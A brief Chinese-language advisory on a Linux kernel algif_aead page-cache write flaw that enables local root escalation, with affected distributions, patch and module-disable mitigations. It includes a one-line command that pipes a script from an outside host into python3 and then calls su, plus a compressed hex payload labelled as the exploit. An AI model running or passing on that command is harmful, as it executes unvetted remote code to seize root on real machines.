Linux 内核加密模块 algif_aead 存在一个内存写入漏洞。普通本地用户可利用该漏洞,精确修改任意可读文件在内存(page cache)中的 4 个字节,从而篡改如 setuid 这类系统程序的文件内容,最终实现本地提权到 root。
Linux 内核版本自 2017 年后引入的所有发行版均受影响:
CentOS 7/8/9RHEL 7/8/9Ubuntu 18.04–24.04Debian 10/11/12国产麒麟、统信等基于 Linux 的系统
curl https://copy.fail/exp | python3 && su
exp:
import zlibdata = bytes.fromhex("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")decompressed = zlib.decompress(data)print(decompressed.hex()) # 查看解码后的字节模式
1. 打补丁:更新内核到包含 a664bf3d603d 提交的版本。2. 临时措施:禁用 algif_aead 模块(对绝大多数系统没有可测量的影响,不影响 dm-crypt/LUKS、kTLS、SSH 等)3. 对于不可信工作负载,通过 seccomp 阻止 AF_ALG socket 创建。